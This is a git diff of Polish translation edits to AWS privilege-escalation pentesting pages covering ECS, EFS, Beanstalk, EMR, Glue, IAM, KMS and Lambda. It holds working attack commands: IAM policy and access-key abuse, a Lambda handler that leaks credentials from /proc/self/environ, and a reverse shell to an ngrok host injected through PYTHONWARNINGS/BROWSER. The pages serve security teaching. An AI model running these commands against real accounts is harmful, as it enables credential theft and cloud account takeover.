-Atakujący z **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** może **wykonywać polecenia** wewnątrz działającego kontenera i wyeksportować do niego przypisaną rolę IAM (potrzebujesz uprawnień do opisu, ponieważ jest to konieczne do uruchomienia `aws ecs execute-command`).\
-Jednakże, aby to zrobić, instancja kontenera musi działać z **agentem ExecuteCommand** (który domyślnie nie jest włączony).
+Atakujący z **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** może **wykonywać polecenia** wewnątrz działającego kontenera i wyeksportować przypisaną do niego rolę IAM (potrzebujesz uprawnień do opisu, ponieważ jest to konieczne do uruchomienia `aws ecs execute-command`).\
+Jednakże, aby to zrobić, instancja kontenera musi mieć uruchomionego **agenta ExecuteCommand** (który domyślnie nie jest uruchomiony).
-W związku z tym atakujący może spróbować:
+Dlatego atakujący może spróbować:
- **Spróbować uruchomić polecenie** w każdym działającym kontenerze
```bash
@@ -178,7 +178,7 @@ Możesz znaleźć **przykłady tych opcji** w **poprzednich sekcjach privesc ECS
### `ssm:StartSession`
-Sprawdź na **stronie privesc ssm**, jak możesz nadużyć tej uprawnienia do **privesc do ECS**:
+Sprawdź na **stronie privesc ssm**, jak możesz nadużyć tej uprawnienia, aby **privesc do ECS**:
{{#ref}}
aws-ssm-privesc.md
@@ -186,7 +186,7 @@ aws-ssm-privesc.md
### `iam:PassRole`, `ec2:RunInstances`
-Sprawdź na **stronie privesc ec2**, jak możesz nadużyć tych uprawnień do **privesc do ECS**:
+Sprawdź na **stronie privesc ec2**, jak możesz nadużyć tych uprawnień, aby **privesc do ECS**:
{{#ref}}
aws-ec2-privesc.md
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
index 61f7b54d4..f01cb08d9 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
@@ -14,7 +14,7 @@ Pamiętaj, że aby zamontować EFS, musisz znajdować się w podsieci, w której
### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
-Dzięki któremuś z tych uprawnień atakujący może **zmienić politykę systemu plików**, aby **dać ci dostęp** do niego, lub po prostu **usunąć ją**, aby **przyznać domyślny dostęp**.
+Dzięki któremukolwiek z tych uprawnień atakujący może **zmienić politykę systemu plików**, aby **dać ci dostęp** do niego, lub po prostu **usunąć ją**, aby **przyznać domyślny dostęp**.
Aby usunąć politykę:
```bash
@@ -64,18 +64,18 @@ Dodatkowe uprawnienia `elasticfilesystem:ClientRootAccess` i `elasticfilesystem:
### `elasticfilesystem:CreateMountTarget`
-Jeśli atakujący znajduje się w **podsieci**, w której **nie ma celu montowania** EFS, może po prostu **utworzyć jeden w swojej podsieci** z tym uprawnieniem:
+Jeśli atakujący znajduje się w **podsieci**, w której **nie istnieje punkt montażowy** EFS, może po prostu **utworzyć jeden w swojej podsieci** z tym uprawnieniem:
```bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id \
--subnet-id \
--security-groups
```
-**Potencjalny wpływ:** Pośrednie privesc poprzez zlokalizowanie wrażliwych informacji w systemie plików.
+**Potencjalny wpływ:** Pośrednie podniesienie uprawnień poprzez zlokalizowanie wrażliwych informacji w systemie plików.
### `elasticfilesystem:ModifyMountTargetSecurityGroups`
-W scenariuszu, w którym atakujący odkrywa, że EFS ma punkt montowania w jego podsieci, ale **żaden z grup zabezpieczeń nie zezwala na ruch**, mógłby po prostu **zmienić to, modyfikując wybrane grupy zabezpieczeń**:
+W scenariuszu, w którym atakujący odkryje, że EFS ma punkt montażowy w jego podsieci, ale **żaden z grup zabezpieczeń nie zezwala na ruch**, może po prostu **zmienić to, modyfikując wybrane grupy zabezpieczeń**:
```bash
aws efs modify-mount-target-security-groups \
--mount-target-id \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
index 0a938f750..6268c9fc7 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
@@ -15,7 +15,7 @@ Więcej **informacji o Elastic Beanstalk** w:
### `elasticbeanstalk:RebuildEnvironment`, uprawnienia do zapisu w S3 i wiele innych
-Mając **uprawnienia do zapisu w koszyku S3** zawierającym **kod** środowiska oraz uprawnienia do **przebudowy** aplikacji (potrzebne jest `elasticbeanstalk:RebuildEnvironment` i kilka innych związanych z `S3`, `EC2` i `Cloudformation`), możesz **zmodyfikować** **kod**, **przebudować** aplikację, a następnym razem, gdy uzyskasz dostęp do aplikacji, **wykona ona twój nowy kod**, co pozwala atakującemu na kompromitację aplikacji i poświadczeń roli IAM.
+Mając **uprawnienia do zapisu w koszyku S3** zawierającym **kod** środowiska oraz uprawnienia do **przebudowy** aplikacji (potrzebne jest `elasticbeanstalk:RebuildEnvironment` i kilka innych związanych z `S3`, `EC2` i `Cloudformation`), możesz **zmodyfikować** **kod**, **przebudować** aplikację, a przy następnym dostępie do aplikacji **wykona ona twój nowy kod**, co pozwala atakującemu na kompromitację aplikacji i poświadczeń roli IAM.
```bash
# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
@@ -30,9 +30,9 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"
```
-### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, i inne...
+### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole` i inne...
-Wymienione oraz kilka uprawnień **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** i **`elasticloadbalancing`** są niezbędne do stworzenia surowego scenariusza Elastic Beanstalk od podstaw.
+Wymienione oraz kilka **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** i **`elasticloadbalancing`** uprawnień są niezbędne do stworzenia surowego scenariusza Elastic Beanstalk od podstaw.
- Utwórz aplikację AWS Elastic Beanstalk:
```bash
@@ -44,7 +44,7 @@ aws elasticbeanstalk create-environment --application-name MyApp --environment-n
```
Jeśli środowisko zostało już utworzone i **nie chcesz tworzyć nowego**, możesz po prostu **zaktualizować** istniejące.
-- Spakuj kod aplikacji i zależności do pliku ZIP:
+- Spakuj swój kod aplikacji i zależności do pliku ZIP:
```python
zip -r MyApp.zip .
```
@@ -62,7 +62,7 @@ aws elasticbeanstalk update-environment --environment-name MyEnv --version-label
```
### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`
-Przede wszystkim musisz stworzyć **legitnym środowisko Beanstalk** z **kodem**, który chciałbyś uruchomić w **ofierze**, postępując zgodnie z **poprzednimi krokami**. Potencjalnie prosty **zip** zawierający te **2 pliki**:
+Przede wszystkim musisz stworzyć **legitnym środowisko Beanstalk** z **kodem**, który chciałbyś uruchomić w **ofierze**, zgodnie z **poprzednimi krokami**. Potencjalnie prosty **zip** zawierający te **2 pliki**:
{{#tabs }}
{{#tab name="application.py" }}
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
{{#endtab }}
{{#endtabs }}
-Gdy masz **swoje własne środowisko Beanstalk uruchomione** z twoim rev shellem, czas na **migrację** do środowiska **ofiary**. Aby to zrobić, musisz **zaktualizować politykę Bucket** swojego koszyka S3 Beanstalk, aby **ofiara mogła uzyskać do niego dostęp** (Zauważ, że to **otworzy** Bucket dla **WSZYSTKICH**):
+Gdy masz **własne środowisko Beanstalk uruchamiające** twoją powłokę rev, nadszedł czas, aby **migracja** do środowiska **ofiary**. Aby to zrobić, musisz **zaktualizować politykę Bucket** swojego koszyka S3 Beanstalk, aby **ofiara mogła uzyskać do niego dostęp** (Zauważ, że to **otworzy** Bucket dla **WSZYSTKICH**):
```json
{
"Version": "2008-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
index b07ebb97a..288f18c81 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
@@ -13,7 +13,7 @@ Więcej **informacji o EMR** w:
### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
Atakujący z tymi uprawnieniami może **uruchomić nowy klaster EMR, dołączając role EC2** i próbować ukraść jego poświadczenia.\
-Należy zauważyć, że aby to zrobić, musisz **znać jakiś klucz prywatny ssh zaimportowany do konta** lub zaimportować jeden, i być w stanie **otworzyć port 22 w węźle głównym** (możesz być w stanie to zrobić za pomocą atrybutów `EmrManagedMasterSecurityGroup` i/lub `ServiceAccessSecurityGroup` w `--ec2-attributes`).
+Należy pamiętać, że aby to zrobić, musisz **znać jakiś klucz prywatny ssh zaimportowany do konta** lub zaimportować jeden, a także być w stanie **otworzyć port 22 w węźle głównym** (możesz to zrobić za pomocą atrybutów `EmrManagedMasterSecurityGroup` i/lub `ServiceAccessSecurityGroup` w `--ec2-attributes`).
```bash
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
@@ -36,13 +36,13 @@ aws emr describe-cluster --cluster-id
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances
```
-Zauważ, jak **rola EMR** jest określona w `--service-role`, a **rola ec2** jest określona w `--ec2-attributes` wewnątrz `InstanceProfile`. Jednak ta technika pozwala tylko na kradzież poświadczeń roli EC2 (ponieważ połączysz się przez ssh), ale nie roli IAM EMR.
+Zauważ, jak **rola EMR** jest określona w `--service-role`, a **rola ec2** jest określona w `--ec2-attributes` wewnątrz `InstanceProfile`. Jednak ta technika pozwala tylko na kradzież poświadczeń roli EC2 (ponieważ połączysz się przez ssh), ale nie roli EMR IAM.
-**Potencjalny wpływ:** Privesc do roli serwisowej EC2 określonej.
+**Potencjalny wpływ:** Privesc do roli serwisowej EC2.
### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
-Dzięki tym uprawnieniom atakujący może przejść do **konsoli AWS**, utworzyć Notatnik i uzyskać do niego dostęp, aby ukraść rolę IAM.
+Dzięki tym uprawnieniom atakujący może przejść do **AWS console**, utworzyć Notatnik i uzyskać do niego dostęp, aby ukraść rolę IAM.
> [!CAUTION]
> Nawet jeśli przypiszesz rolę IAM do instancji notatnika, w moich testach zauważyłem, że mogłem ukraść poświadczenia zarządzane przez AWS, a nie poświadczenia związane z rolą IAM.
@@ -51,7 +51,7 @@ Dzięki tym uprawnieniom atakujący może przejść do **konsoli AWS**, utworzy
### `elasticmapreduce:OpenEditorInConsole`
-Tylko z tym uprawnieniem atakujący będzie mógł uzyskać dostęp do **Jupyter Notebook i ukraść rolę IAM** z nim związaną.\
+Tylko z tym uprawnieniem atakujący będzie mógł uzyskać dostęp do **Jupyter Notebook i ukraść rolę IAM** z nią związaną.\
URL notatnika to `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/`
> [!CAUTION]
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
index b5be0d2f8..a4db37c75 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
@@ -9,7 +9,7 @@ Dzięki temu uprawnieniu atakujący może uzyskać **nowy zestaw poświadczeń d
aws gamelift request-upload-credentials \
--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
```
-## References
+## Odniesienia
- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
index e25bf90ca..b79c9d522 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
@@ -22,7 +22,7 @@ aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
```
-Dla celów ukrycia, zaleca się użycie poświadczeń IAM z wnętrza wirtualnej maszyny Glue.
+Dla celów stealth, zaleca się użycie poświadczeń IAM z wnętrza wirtualnej maszyny Glue.
**Potencjalny wpływ:** Privesc do roli usługi glue określonej.
@@ -41,11 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
```
-**Potencjalny wpływ:** Privesc do roli usługi glue używanej.
+**Potencjalny wpływ:** Privesc do roli usługi glue.
### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)
-Użytkownicy z **`iam:PassRole`** w połączeniu z **`glue:CreateJob` lub `glue:UpdateJob`**, oraz **`glue:StartJobRun` lub `glue:CreateTrigger`** mogą **tworzyć lub aktualizować zadanie AWS Glue**, przypisując dowolne **konto usługi Glue**, i inicjować wykonanie zadania. Możliwości zadania obejmują uruchamianie dowolnego kodu Python, co można wykorzystać do ustanowienia odwrotnego powłoki. Ta odwrotna powłoka może być następnie wykorzystana do wykradzenia **poświadczeń IAM** roli przypisanej do zadania Glue, co prowadzi do potencjalnego nieautoryzowanego dostępu lub działań opartych na uprawnieniach tej roli:
+Użytkownicy z **`iam:PassRole`** w połączeniu z **`glue:CreateJob` lub `glue:UpdateJob`**, oraz **`glue:StartJobRun` lub `glue:CreateTrigger`** mogą **tworzyć lub aktualizować zadanie AWS Glue**, przypisując dowolne **konto usługi Glue**, i inicjować wykonanie zadania. Możliwości zadania obejmują uruchamianie dowolnego kodu Python, co może być wykorzystane do ustanowienia odwrotnego powłoki. Ta odwrotna powłoka może być następnie wykorzystana do wykradzenia **poświadczeń IAM** roli przypisanej do zadania Glue, co prowadzi do potencjalnego nieautoryzowanego dostępu lub działań opartych na uprawnieniach tej roli:
```bash
# Content of the python script saved in s3:
#import socket,subprocess,os
@@ -75,7 +75,7 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \
### `glue:UpdateJob`
-Tylko z uprawnieniem do aktualizacji, atakujący mógłby ukraść poświadczenia IAM już przypisanej roli.
+Mając tylko uprawnienie do aktualizacji, atakujący mógłby ukraść poświadczenia IAM już przypisanej roli.
**Potencjalny wpływ:** Privesc do roli usługi glue przypisanej.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
index 0ee48f7fb..b696a1549 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji na temat IAM, sprawdź:
### **`iam:CreatePolicyVersion`**
-Przyznaje możliwość utworzenia nowej wersji polityki IAM, omijając potrzebę posiadania uprawnienia `iam:SetDefaultPolicyVersion` za pomocą flagi `--set-as-default`. Umożliwia to definiowanie niestandardowych uprawnień.
+Przyznaje możliwość utworzenia nowej wersji polityki IAM, omijając potrzebę posiadania uprawnienia `iam:SetDefaultPolicyVersion` poprzez użycie flagi `--set-as-default`. Umożliwia to definiowanie niestandardowych uprawnień.
**Exploit Command:**
```bash
@@ -25,7 +25,7 @@ aws iam create-policy-version --policy-arn \
Pozwala na zmianę domyślnej wersji polityki IAM na inną istniejącą wersję, potencjalnie eskalując uprawnienia, jeśli nowa wersja ma więcej uprawnień.
-**Bash Command:**
+**Polecenie Bash:**
```bash
aws iam set-default-policy-version --policy-arn --version-id v2
```
@@ -35,11 +35,11 @@ aws iam set-default-policy-version --policy-arn --version-id
Umożliwia tworzenie identyfikatora klucza dostępu i tajnego klucza dostępu dla innego użytkownika, co prowadzi do potencjalnej eskalacji uprawnień.
-**Wykorzystanie:**
+**Eksploatacja:**
```bash
aws iam create-access-key --user-name
```
-**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez przyjęcie rozszerzonych uprawnień innego użytkownika.
+**Wpływ:** Bezpośrednia eskalacja uprawnień przez przyjęcie rozszerzonych uprawnień innego użytkownika.
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
@@ -61,7 +61,7 @@ aws iam update-login-profile --user-name target_user --no-password-reset-require
Pozwala na włączenie wyłączonego klucza dostępu, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada wyłączony klucz.
-**Wykorzystanie:**
+**Eksploatacja:**
```bash
aws iam update-access-key --access-key-id --status Active --user-name
```
@@ -75,7 +75,7 @@ Umożliwia generowanie lub resetowanie poświadczeń dla konkretnych usług AWS
```bash
aws iam create-service-specific-credential --user-name --service-name
```
-**Eksploatacja dla Resetu:**
+**Eksploatacja dla resetu:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id
```
@@ -85,7 +85,7 @@ aws iam reset-service-specific-credential --service-specific-credential-id --policy-arn ""
```
@@ -99,11 +99,11 @@ aws iam attach-group-policy --group-name --policy-arn "
Pozwala na dołączanie lub umieszczanie polityk do ról, użytkowników lub grup, umożliwiając bezpośrednią eskalację uprawnień poprzez przyznawanie dodatkowych uprawnień.
-**Wykorzystanie dla roli:**
+**Eksploatacja dla Roli:**
```bash
aws iam attach-role-policy --role-name --policy-arn ""
```
-**Eksploatacja dla Polityk Inline:**
+**Eksploatacja dla polityk inline:**
```bash
aws iam put-user-policy --user-name --policy-name "" \
--policy-document "file:///path/to/policy.json"
@@ -133,7 +133,7 @@ Możesz użyć polityki takiej jak:
Umożliwia dodanie siebie do grupy IAM, eskalując uprawnienia poprzez dziedziczenie uprawnień grupy.
-**Wykorzystanie:**
+**Eksploatacja:**
```bash
aws iam add-user-to-group --group-name --user-name
```
@@ -148,7 +148,7 @@ Pozwala na modyfikację dokumentu polityki przyjmowania roli, umożliwiając prz
aws iam update-assume-role-policy --role-name \
--policy-document file:///path/to/assume/role/policy.json
```
-Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienia do przyjęcia roli:
+Gdzie polityka wygląda następująco, co daje użytkownikowi uprawnienia do przyjęcia roli:
```json
{
"Version": "2012-10-17",
@@ -167,9 +167,9 @@ Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienia do przyj
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
-Pozwala na przesyłanie klucza publicznego SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co prowadzi do potencjalnej pośredniej eskalacji uprawnień.
+Zezwala na przesyłanie klucza publicznego SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co prowadzi do potencjalnej pośredniej eskalacji uprawnień.
-**Wykorzystanie do przesyłania klucza SSH:**
+**Eksploatacja przesyłania klucza SSH:**
```bash
aws iam upload-ssh-public-key --user-name --ssh-public-key-body
```
@@ -188,11 +188,11 @@ Pozwala na resynchronizację urządzenia MFA, co może prowadzić do pośredniej
aws iam resync-mfa-device --user-name --serial-number \
--authentication-code1 --authentication-code2
```
-**Wpływ:** Pośrednia eskalacja uprawnień poprzez dodawanie lub manipulowanie urządzeniami MFA.
+**Wpływ:** Pośrednie podniesienie uprawnień przez dodanie lub manipulację urządzeniami MFA.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-Dzięki tym uprawnieniom możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **federacji SAML**, aby **zalogować się** z dowolną **rolą, która jej ufa**.
+Dzięki tym uprawnieniom możesz **zmienić metadane XML połączenia SAML**. Następnie możesz wykorzystać **federację SAML** do **logowania** się z dowolną **rolą, która jej ufa**.
Zauważ, że robiąc to **legitni użytkownicy nie będą mogli się zalogować**. Możesz jednak uzyskać XML, aby wprowadzić swój, zalogować się i skonfigurować poprzednie ustawienia.
```bash
@@ -215,7 +215,7 @@ aws iam update-saml-provider --saml-metadata-document --saml-prov
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-(Niepewne) Jeśli atakujący ma te **uprawnienia**, mógłby dodać nowy **Thumbprint**, aby móc zalogować się we wszystkich rolach ufających dostawcy.
+(Niepewne) Jeśli atakujący ma te **uprawnienia**, mógłby dodać nowy **Thumbprint**, aby móc zalogować się do wszystkich ról ufających dostawcy.
```bash
# List providers
aws iam list-open-id-connect-providers
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
index 961bab78f..9108bac23 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
@@ -61,8 +61,8 @@ aws kms create-grant \
> [!WARNING]
> Należy pamiętać, że może minąć kilka minut, zanim KMS **pozwoli użytkownikowi na użycie klucza po wygenerowaniu grant**. Po upływie tego czasu, podmiot może używać klucza KMS bez potrzeby określania czegokolwiek.\
-> Jednak, jeśli konieczne jest natychmiastowe użycie grantu [użyj tokena grantu](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (sprawdź poniższy kod).\
-> Dla [**więcej informacji przeczytaj to**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
+> Jednak jeśli konieczne jest natychmiastowe użycie grantu [użyj tokena grantu](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (sprawdź poniższy kod).\
+> Aby [**uzyskać więcej informacji, przeczytaj to**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
```bash
# Use the grant token in a request
aws kms generate-data-key \
@@ -78,7 +78,7 @@ aws kms list-grants --key-id
Dzięki tym uprawnieniom możliwe jest replikowanie klucza KMS włączonego w wielu regionach w innym regionie z inną polityką.
-Zatem atakujący mógłby to wykorzystać, aby uzyskać dostęp do klucza i go użyć.
+Zatem atakujący mógłby to wykorzystać, aby uzyskać privesc do swojego dostępu do klucza i go użyć.
```bash
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
index 3c85358a6..901009ae3 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
@@ -14,7 +14,7 @@ Więcej informacji o lambda w:
Użytkownicy z uprawnieniami **`iam:PassRole`, `lambda:CreateFunction` i `lambda:InvokeFunction`** mogą eskalować swoje uprawnienia.\
Mogą **utworzyć nową funkcję Lambda i przypisać jej istniejącą rolę IAM**, przyznając funkcji uprawnienia związane z tą rolą. Użytkownik może następnie **napisać i przesłać kod do tej funkcji Lambda (na przykład z rev shellem)**.\
-Gdy funkcja jest skonfigurowana, użytkownik może **wywołać jej wykonanie** i zamierzone działania, wywołując funkcję Lambda za pośrednictwem API AWS. To podejście skutecznie pozwala użytkownikowi na wykonywanie zadań pośrednio za pośrednictwem funkcji Lambda, działając na poziomie dostępu przyznanym do roli IAM z nią związanej.\\
+Gdy funkcja jest skonfigurowana, użytkownik może **wywołać jej wykonanie** i zamierzone działania, wywołując funkcję Lambda za pośrednictwem API AWS. To podejście skutecznie pozwala użytkownikowi na wykonywanie zadań pośrednio przez funkcję Lambda, działając na poziomie dostępu przyznanym do związanej z nią roli IAM.\\
Atakujący mógłby to wykorzystać, aby uzyskać **rev shell i ukraść token**:
```python:rev.py
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
-Możliwe jest również wycieknięcie poświadczeń roli lambdy bez potrzeby nawiązywania zewnętrznego połączenia. Będzie to przydatne dla **Lambd izolowanych sieciowo** używanych do zadań wewnętrznych. Jeśli istnieją nieznane grupy zabezpieczeń filtrujące twoje odwrotne powłoki, ten fragment kodu pozwoli ci bezpośrednio wycieknięcie poświadczeń jako wynik lambdy.
+Możliwe jest również wycieknięcie poświadczeń roli lambdy bez potrzeby nawiązywania zewnętrznego połączenia. Będzie to przydatne dla **Lambd izolowanych sieciowo** używanych w zadaniach wewnętrznych. Jeśli istnieją nieznane grupy zabezpieczeń filtrujące twoje odwrotne powłoki, ten fragment kodu pozwoli ci bezpośrednio wycieknięcie poświadczeń jako wynik lambdy.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -107,7 +107,7 @@ aws dynamodb create-table --table-name my_table \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
-Teraz możliwe jest **połączenie funkcji Lambda z tabelą DynamoDB** poprzez **utworzenie mapowania źródła zdarzeń**:
+Teraz możliwe jest **połączenie funkcji Lambda z tabelą DynamoDB** poprzez **utworzenie mapowania źródła zdarzenia**:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn \
@@ -130,7 +130,7 @@ aws lambda add-permission --function-name --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name /tmp/outout
```
-**Potencjalny wpływ:** Bezpośrednie privesc do roli usługi lambda używanej przez przyznanie uprawnienia do modyfikacji kodu i jego uruchomienia.
+**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do roli usługi lambda poprzez przyznanie uprawnienia do modyfikacji kodu i jego uruchomienia.
### `lambda:AddLayerVersionPermission`
@@ -143,7 +143,7 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
### `lambda:UpdateFunctionCode`
-Użytkownicy posiadający uprawnienie **`lambda:UpdateFunctionCode`** mają potencjał do **modyfikacji kodu istniejącej funkcji Lambda, która jest powiązana z rolą IAM.**\
+Użytkownicy posiadający uprawnienie **`lambda:UpdateFunctionCode`** mają potencjał, aby **zmodyfikować kod istniejącej funkcji Lambda, która jest powiązana z rolą IAM.**\
Napastnik może **zmodyfikować kod lambdy, aby wyeksportować poświadczenia IAM**.
Chociaż napastnik może nie mieć bezpośredniej zdolności do wywołania funkcji, jeśli funkcja Lambda jest już istniejąca i operacyjna, prawdopodobne jest, że zostanie uruchomiona przez istniejące przepływy pracy lub zdarzenia, co pośrednio ułatwi wykonanie zmodyfikowanego kodu.
@@ -157,13 +157,13 @@ aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
-**Potencjalny wpływ:** Bezpośrednie privesc do roli usługi lambda używanej.
+**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do roli usługi lambda.
### `lambda:UpdateFunctionConfiguration`
#### RCE przez zmienne środowiskowe
-Dzięki tym uprawnieniom możliwe jest dodanie zmiennych środowiskowych, które spowodują, że Lambda wykona dowolny kod. Na przykład w Pythonie można nadużyć zmiennych środowiskowych `PYTHONWARNING` i `BROWSER`, aby proces Pythona wykonał dowolne polecenia:
+Dzięki tym uprawnieniom możliwe jest dodanie zmiennych środowiskowych, które spowodują, że Lambda wykona dowolny kod. Na przykład w Pythonie można wykorzystać zmienne środowiskowe `PYTHONWARNING` i `BROWSER`, aby proces Pythona wykonał dowolne polecenia:
```bash
aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
@@ -175,9 +175,9 @@ https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalat
#### RCE za pomocą Lambda Layers
-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) pozwala na dołączenie **kodu** do twojej funkcji lamdba, ale **przechowując go osobno**, dzięki czemu kod funkcji może pozostać mały, a **kilka funkcji może dzielić kod**.
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) pozwala na dołączenie **kod** do twojej funkcji lamdba, ale **przechowując go osobno**, dzięki czemu kod funkcji może pozostać mały, a **kilka funkcji może dzielić kod**.
-Wewnątrz lambdy możesz sprawdzić ścieżki, z których ładowany jest kod python za pomocą funkcji takiej jak poniższa:
+Wewnątrz lamdba możesz sprawdzić ścieżki, z których ładowany jest kod python za pomocą funkcji takiej jak poniższa:
```python
import json
import sys
